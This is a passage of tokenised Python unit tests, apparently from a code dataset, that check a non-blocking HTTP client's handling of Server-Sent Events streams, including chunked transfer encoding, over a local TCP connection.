"5", ":", "25", " ", "GM", "T", "\\\\", "r", "\\\\", "n", "'_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "Conten", "t", "-", "Type", ":", " ", "text", "/", "event", "-", "stream", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "Cache", "-", "Control", ":", " ", "no", "-", "cache", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "Connect", "ion", ":", " ", "close", "\\\\", "r", "\\\\", "n", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "msg", "Out_", "=_", "b", "''_", "._", "join_", "(_", "lines_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ix", "Beta", "_", "._", "tx_", "(_", "msg", "Out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "ix", "Beta", "_", "._", "tx", "es_", "or_", "not_", "beta_", "._", "rx", "bs_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "alpha_", "._", "service", "Tx", "es", "All", "Ix", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "beta_", "._", "service", "Receive", "s_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "msg", "In_", "=_", "bytes_", "(_", "beta_", "._", "rx", "bs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "msg", "In_", ",_", "msg", "Out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"", "Beta", " ", "process", "es", " ", "response", " ", "\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "=_", "client", "ing_", "._", "Responde", "nt_", "(_", "msg_", "=_", "beta_", "._", "rx", "bs_", ",_", "method_", "=_", "method_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "lines_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "retr", "y", ":", " ", "1000", "\\\\", "n", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "data", ":", " ", "START", "\\\\", "n", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "data", ":", " ", "1", "\\\\", "n", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "data", ":", " ", "2", "\\\\", "n", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "data", ":", " ", "3", "\\\\", "n", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "data", ":", " ", "4", "\\\\", "n", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "msg", "Out_", "=_", "b", "''_", "._", "join_", "(_", "lines_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ix", "Beta", "_", "._", "tx_", "(_", "msg", "Out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "timer_", "=_", "Timer_", "(_", "duration_", "=_", "0.5_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "response_", "._", "parser_", "and_", "not_", "timer_", "._", "expired_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "alpha_", "._", "service", "Tx", "es", "All", "Ix", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "._", "parse_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "beta_", "._", "service", "Receive", "s_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.01_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "response_", "._", "parser_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "response_", "._", "parser_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "._", "parser_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "response_", "._", "dict", "ify_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "len_", "(_", "beta_", "._", "rx", "bs_", ")_", ",_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "response_", "._", "event", "Source_", "._", "retry_", ",_", "1000_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "response_", "._", "retry_", ",_", "response_", "._", "event", "Source_", "._", "retry_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "response_", "._", "event", "Source_", "._", "lei", "d_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "response_", "._", "lei", "d_", ",_", "response_", "._", "event", "Source_", "._", "lei", "d_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "len_", "(_", "response_", "._", "events_", ")_", ">_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "event_", "=_", "response_", "._", "events_", "._", "popleft_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "event_", ",_", "{_", "'", "id", "'_", ":_", "None_", ",_", "'", "name", "'_", ":_", "''_", ",_", "'", "data", "'_", ":_", "'", "START", "'_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "event_", "=_", "response_", "._", "events_", "._", "popleft_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "event_", ",_", "{_", "'", "id", "'_", ":_", "None_", ",_", "'", "name", "'_", ":_", "''_", ",_", "'", "data", "'_", ":_", "'", "1", "'_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "event_", "=_", "response_", "._", "events_", "._", "popleft_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "event_", ",_", "{_", "'", "id", "'_", ":_", "None_", ",_", "'", "name", "'_", ":_", "''_", ",_", "'", "data", "'_", ":_", "'", "2", "'_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "len_", "(_", "response_", "._", "body_", ")_", "==_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "len_", "(_", "response_", "._", "event", "Source_", "._", "raw_", ")_", "==_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "alpha_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "beta_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "wire", "Log", "Alpha_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "wire", "Log", "Beta", "_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Basic", "Test", "Case_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Non", "Block", "ing", "Request", "Stream", "Chunk", "ed_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Test", " ", "Non", "Block", "ing", " ", "Http", " ", "client", " ", "with", " ", "SSE", " ", "stream", "ing", " ", "server", " ", "with", " ", "transfer", " ", "encoding", " ", "(", "chunked", ")", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"{", "0", "}\\\\", "n", "\"_", "._", "format_", "(_", "self_", "._", "test", "Non", "Block", "ing", "Request", "Stream", "Chunk", "ed_", "._", "\\u\\u", "doc\\u\\u_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "wire", "Log", "Alpha_", "=_", "wir", "ing_", "._", "Wire", "Log_", "(_", "buff", "ify_", "=_", "True_", ",_", "same_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "=_", "wire", "Log", "Alpha_", "._", "reo", "pen_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "wire", "Log", "Beta", "_", "=_", "wir", "ing_", "._", "Wire", "Log_", "(_", "buff", "ify_", "=_", "True_", ",_", "same_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "=_", "wire", "Log", "Beta", "_", "._", "reo", "pen_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "alpha_", "=_", "tcp_", "._", "Server_", "(_", "port_", "=_", "610", "1_", ",_", "bufsize_", "=_", "1310", "72_", ",_", "wl", "og_", "=_", "wire", "Log", "Alpha_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "alpha_", "._", "reo", "pen_", "(_", ")_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "alpha_", "._", "ha_", ",_", "(_", "'", "0.", "0.", "0.", "0", "'_", ",_", "610", "1_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "alpha_", "._", "eh", "a_", ",_", "(_", "'", "127", ".0", ".0", ".1", "'_", ",_", "610", "1_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "beta_", "=_", "tcp_", "._", "Client_", "(_", "ha_", "=_", "alpha_", "._", "eh", "a_", ",_", "bufsize_", "=_", "1310", "72_", ",_", "wl", "og_", "=_", "wire", "Log", "Beta", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "reo", "pen_", "(_", ")_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "accepted_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "connected_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "cutoff_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"", "Connect", "ing", " ", "beta", " ", "to", " ", "server", " ", "...", "\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "True_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "beta_", "._", "service", "Connect_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "alpha_", "._", "service", "Connect", "s_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "beta_", "._", "connected_", "and_", "beta_", "._", "ca_", "in_", "alpha_", "._", "ix", "es_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "accepted_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "connected_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "cutoff_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "beta_", "._", "ca_", ",_", "beta_", "._", "cs_", "._", "getsockname", "_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "beta_", "._", "ha_", ",_", "beta_", "._", "cs_", "._", "getp", "eer", "name_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "alpha_", "._", "eh", "a_", ",_", "beta_", "._", "ha_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "ix", "Beta", "_", "=_", "alpha_", "._", "ix", "es_", "[_", "beta_", "._", "ca_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is", "Not", "None_", "(_", "ix", "Beta", "_", "._", "ca_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is", "Not", "None_", "(_", "ix", "Beta", "_", "._", "cs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "ix", "Beta", "_", "._", "cs_", "._", "getsockname", "_", "(_", ")_", ",_", "beta_", "._", "cs_", "._", "getp", "eer", "name_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "ix", "Beta", "_", "._", "cs_", "._", "getp", "eer", "name_", "(_", ")_", ",_", "beta_", "._", "cs_", "._", "getsockname", "_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "ix", "Beta", "_", "._", "ca_", ",_", "beta_", "._", "ca_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "ix", "Beta", "_", "._", "ha_", ",_", "beta_", "._", "ha_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"{", "0", "}\\\\", "n", "\"_", "._", "format_", "(_", "\"", "Building", " ", "Request", " ", "...", "\\\\", "n", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "host_", "=_", "u", "'", "127", ".0", ".0", ".1", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "port_", "=_", "606", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "method_", "=_", "u", "'", "GET", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "path_", "=_", "u", "'/", "stream", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"{", "0", "}", " ", "from", " ", " ", "{", "1", "}:", "{", "2", "}{", "3", "}", " ", "...", "\\\\", "n", "\"_", "._", "format_", "(_", "method_", ",_", "host_", ",_", "port_", ",_", "path_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "headers_", "=_", "odict_", "(_", "[_", "(_", "u", "'", "Accept", "'_", ",_", "u", "'", "applica", "tion", "/", "json", "'_", ")_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "request_", "=_", "client", "ing_", "._", "Requeste", "r_", "(_", "hostname_", "=_", "host_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "port_", "=_", "port_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "method_", "=_", "method_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "path_", "=_", "path_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "headers_", "=_", "headers_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "msg", "Out_", "=_", "request_", "._", "build_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lines_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "GET", " ", "/", "stream", " ", "HTTP", "/", "1.1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "Host", ":", " ", "127", ".0", ".0", ".1", ":", "606", "1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "Accept", "-", "Enco", "ding", ":", " ", "identi", "ty", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "Accept", ":", " ", "applica", "tion", "/", "json", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", ",_", "line_", "in_", "enumerate_", "(_", "lines_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "Equal_", "(_", "line_", ",_", "request_", "._", "lines_", "[_", "i_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "request_", "._", "head_", ",_", "b", "'", "GET", " ", "/", "stream", " ", "HTTP", "/", "1.1", "\\\\", "r", "\\\\", "n", "Host", ":", " ", "127", ".0", ".0", ".1", ":", "606", "1", "\\\\", "r", "\\\\", "n", "Accept", "-", "Enco", "ding", ":", " ", "identi", "ty", "\\\\", "r", "\\\\", "n", "Accept", ":", " ", "applica", "tion", "/", "json", "\\\\", "r", "\\\\", "n", "\\\\", "r", "\\\\", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "msg", "Out_", ",_", "request_", "._", "head_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"", "Beta", " ", "request", "s", " ", "to", " ", "Al", "pha", "\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "beta_", "._", "tx_", "(_", "msg", "Out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "beta_", "._", "tx", "es_", "and_", "not_", "ix", "Beta", "_", "._", "rx", "bs_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "beta_", "._", "service", "Tx", "es_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "alpha_", "._", "service", "Receive", "s", "All", "Ix", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "msg", "In_", "=_", "bytes_", "(_", "ix", "Beta", "_", "._", "rx", "bs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "msg", "In_", ",_", "msg", "Out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ix", "Beta", "_", "._", "clear", "Rx", "bs_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"", "Al", "pha", " ", "respond", "s", " ", "to", " ", "Beta", "\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lines_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "HTTP", "/", "1.1", " ", "200", " ", "OK", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "Conten", "t", "-", "Type", ":", " ", "text", "/", "event", "-", "stream", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "Cache", "-", "Control", ":", " ", "no", "-", "cache", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "Transfer", "-", "Enco", "ding", ":", " ", "chunked", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "Date", ":", " ", "Thu", ",", " ", "30", " ", "Ap", "r", " ", "201", "5", " ", "20", ":", "11", ":", "3", "5", " ", "GM", "T", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "Server", ":", " ", "Io", "Boo", "k", ".", "local", "\\\\", "r", "\\\\", "n", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "msg", "Out_", "=_", "b", "''_", "._", "join_", "(_", "lines_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ix", "Beta", "_", "._", "tx_", "(_", "msg", "Out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "ix", "Beta", "_", "._", "tx", "es_", "or_", "not_", "beta_", "._", "rx", "bs_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "alpha_", "._", "service", "Tx", "es", "All", "Ix", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "beta_", "._", "service", "Receive", "s_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "msg", "In_", "=_", "bytes_", "(_", "beta_", "._", "rx", "bs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "msg", "In_", ",_", "msg", "Out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"", "Beta", " ", "process", "es", " ", "response", " ", "\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "=_", "client", "ing_", "._", "Responde", "nt_", "(_", "msg_", "=_", "beta_", "._", "rx", "bs_", ",_", "method_", "=_", "method_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "lines_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "d", "\\\\", "r", "\\\\", "nre", "try", ":", " ", "1000", "\\\\", "n", "\\\\", "n", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "d", "\\\\", "r", "\\\\", "ndata", ":", " ", "START", "\\\\", "n", "\\\\", "n", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "9", "\\\\", "r", "\\\\", "ndata", ":", " ", "1", "\\\\", "n", "\\\\", "n", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "9", "\\\\", "r", "\\\\", "ndata", ":", " ", "2", "\\\\", "n", "\\\\", "n", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "9", "\\\\", "r", "\\\\", "ndata", ":", " ", "3", "\\\\", "n", "\\\\", "n", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "9", "\\\\", "r", "\\\\", "ndata", ":", " ", "4", "\\\\", "n", "\\\\", "n", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "msg", "Out_", "=_", "b", "''_", "._", "join_", "(_", "lines_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ix", "Beta", "_", "._", "tx_", "(_", "msg", "Out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "timer_", "=_", "Timer_", "(_", "duration_", "=_", "0.5_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "response_", "._", "parser_", "and_", "not_", "timer_", "._", "expired_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "alpha_", "._", "service", "Tx", "es", "All", "Ix", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "._", "parse_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "beta_", "._", "service", "Receive", "s_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.01_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "response_", "._", "parser_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "response_", "._", "parser_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "._", "parser_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "response_", "._", "dict", "ify_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "len_", "(_", "beta_", "._", "rx", "bs_", ")_", ",_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "response_", "._", "event", "Source_", "._", "retry_", ",_", "1000_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "response_", "._", "retry_", ",_", "response_", "._", "event", "Source_", "._", "retry_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "response_", "._", "event", "Source_", "._", "lei", "d_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "response_", "._", "lei", "d_", ",_", "response_", "._", "event", "Source_", "._", "lei", "d_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "len_", "(_", "response_", "._", "events_", ")_", ">_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "event_", "=_", "response_", "._", "events_", "._", "popleft_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "event_", ",_", "{_", "'", "id", "'_", ":_", "None_", ",_", "'", "name", "'_", ":_", "''_", ",_", "'", "data", "'_", ":_", "'", "START", "'_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "event_", "=_", "response_", "._", "events_", "._", "popleft_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "event_", ",_", "{_", "'", "id", "'_", ":_", "None_", ",_", "'", "name", "'_", ":_", "''_", ",_", "'", "data", "'_", ":_", "'", "1", "'_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "event_", "=_", "response_", "._", "events_", "._", "popleft_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "event_", ",_", "{_", "'", "id", "'_", ":_", "None_", ",_", "'", "name", "'_", ":_", "''_", ",_", "'", "data", "'_", ":_", "'", "2", "'_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "len_", "(_", "response_", "._", "body_", ")_", "==_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", 